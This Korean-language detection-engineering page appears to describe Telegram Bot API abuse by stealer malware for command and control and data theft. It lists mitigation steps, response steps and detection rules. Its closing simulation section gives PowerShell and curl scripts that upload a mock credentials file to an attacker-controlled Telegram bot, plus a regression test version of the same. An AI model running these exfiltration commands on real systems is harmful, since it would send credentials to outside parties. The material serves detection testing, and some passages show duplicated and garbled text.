탐지 및 대응 연대기: 텔레그램 남용 탐구
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 기사는 여러 위협 행위자들이 Telegram의 Bot API와 채널을 기업에서 명령 및 제어, 데이터 유출, 피해자 모니터링을 위해 어떻게 악용하는지를 설명합니다. DeerStealer, Lumma Stealer, Raven Stealer 및 트로이 목마화된 XWorm 빌더를 포함한 악성코드 계열이 봇 토큰 또는 채널 ID를 하드코딩하여 /sendMessage 및 /sendDocument와 같은 엔드포인트를 호출합니다. 의심스러운 프로세스 명령줄과 트래픽에 중점을 둔 Microsoft Defender 및 Sentinel 탐지 쿼리가 포함됩니다. api.telegram.org. 주요 가이드는 정품 Telegram 사용을 기준으로 삼고 필요하지 않은 곳에서는 API를 차단하는 것입니다.
조사
NVISO의 SOC는 2025년 10월과 2025년 3월에 걸쳐 Telegram이 공격 수명주기의 다양한 지점에서 사용되는 네 번의 침입 시도를 관찰했습니다. 이 글은 Lunar Spider가 가짜 캡차 유도를 통해 피해자들을 모니터링하는 캠페인, DeerStealer가 curl을 통해 운영자에게 알림을 보내는 방식, Lumma Stealer가 Telegram 채널에서 C2 세부 정보를 가져오는 방법, Raven Stealer가 아카이브된 컬렉션을 유출시키는 것, XWorm 빌더가 이 유출과 C2 모두에 대해 Bot API에 의존하는 것을 강조합니다. 분석가들은 프로세스 명령줄, 네트워크 목적지 및 관련 파일 이름을 포함한 지표를 추출했습니다.
완화
적법한 Telegram 사용의 기준을 설정한 후, 필요하지 않은 환경에서 api.telegram.org로의 아웃바운드 액세스를 차단하십시오. API에 연결을 시작하는 비정상적인 프로세스(예: curl, powershell, wscript)에 주의하고, 스크립트로 작성된 Bot API 상호작용을 조사하십시오. telegram.exe를 여는 알려진 브라우저와 같은 예상되는 동작을 억제하도록 탐지를 조정하고, 의심스러운 바이너리나 예상치 못한 호스트로부터의 긴 폴링 또는 웹훅 스타일의 요청을 우선시하십시오.
대응
활동이 감지되면, 감염된 엔드포인트를 격리하고 의심스러운 프로세스를 중지하며 명령줄 인수와 DNS, 프록시, 네트워크 원격 측정을 보존하십시오. 캠페인과 관련된 추가 페이로드를 식별하기 위해 심층 포렌식을 수행하십시오. 노출된 봇 토큰을 회전시키고, 악용된 Telegram 채널을 비활성화하거나 취소하고, 관련 지표를 차단하여 확산을 방지하십시오. 악용이 확인되면 Telegram의 공식 채널을 통해 보고를 확대하고, 반복 발생 방지를 위해 사건을 문서화하십시오.
공격 흐름
탐지
명령 및 제어 채널로서의 텔레그램 오용 의심 (dns_query를 통해)
보기
의심스러운 Defender 제외 항목 수정 (cmdline을 통해)
보기
의심스러운 프로세스가 명령줄에 URL을 사용 (cmdline을 통해)
보기
탐지할 IOCs(전자 메일): 탐지 및 응답 연대기: 텔레그램 악용 탐구
보기
텔레그램 API와의 비브라우저 통신 탐지 [Windows 네트워크 연결]
보기
악성 텔레그램 API 사용 탐지 [Windows 프로세스 생성]
보기
시뮬레이션 실행
전제 조건: 원격 측정 및 기준 사전 검사 통과 필수.
이유: 이 섹션은 탐지 규칙을 작동하도록 설계된 적대적 기술(TTP)의 정확한 실행을 설명합니다. 명령과 논리는 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 해야 합니다.
-
공격 설명 및 명령:
침해된 Windows 호스트를 가진 적은 수집된 자격 증명 파일(을) Telegram 봇에게 전송하려고 합니다. 맞춤 바이너리를 저장하는 것을 피하기 위해, 그들은 기본creds.txt) 를 사용하여 그들이 제어하는 Telegram 봇에게 전송합니다. 맞춤 바이너리를 저장하지 않기 위해, 본래의curl.exe(Windows 10 선택적 기능을 통해 설치됨)을 사용하여 이 파일을https://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument로 POST합니다. 이 명령은 PowerShell에서 실행되어, 프로세스 생성 이벤트가 “api.telegram.org”를 포함한 명령줄을 기록하도록 합니다. 프로세스가curl.exe이므로, 규칙의 필터 (InitiatingProcessFileName: "telegram.exe") 는 경고를 억제하지 않습니다.# 변수 (공격자의 제어된 값으로 교체) $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11" $ChatID = "987654321" $FilePath = "C:Tempcreds.txt" # 파일이 존재하도록 보장 (모의 자격 증명 덤프) Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!" # Telegram Bot API를 통해 유출 실행 $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" curl.exe -X POST -F "document=@$FilePath" $Url -
회귀 테스트 스크립트: 아래 스크립트는 자동 BAS 실행에 적합한 정확한 단계를 재현합니다.
#-------------------------------------------- # 회귀 테스트 – Telegram API 유출 #-------------------------------------------- param( [string]$BotToken = "REPLACE_WITH_TOKEN", [string]$ChatID = "REPLACE_WITH_CHATID", [string]$TmpDir = "$env:TEMPTelegramBAS" ) # 임시 작업 공간 생성 New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null # 모의 자격 증명 파일 $CredFile = Join-Path $TmpDir "creds.txt" "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile # API URL 구축 $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" # 유출 실행 Write-Host "[*] $CredFile을 Telegram에 유출 중..." curl.exe -X POST -F "document=@$CredFile" $Url # 간단한 성공 지표 (전달을 확인하지 않음) if ($LASTEXITCODE -eq 0) { Write-Host "[+] 유출 명령이 실행되었습니다." } else { Write-Error "[-] 유출 실패." } -
정리 명령: 임시 파일 및 디렉토리 제거; 남아 있는
curl.exe프로세스.# 임시 아티팩트 정리 Stop-Process -Name "curl" -ErrorAction SilentlyContinue Remove-Item -Path $TmpDir -Recurse -Force Write-Host "[*] 정리 완료."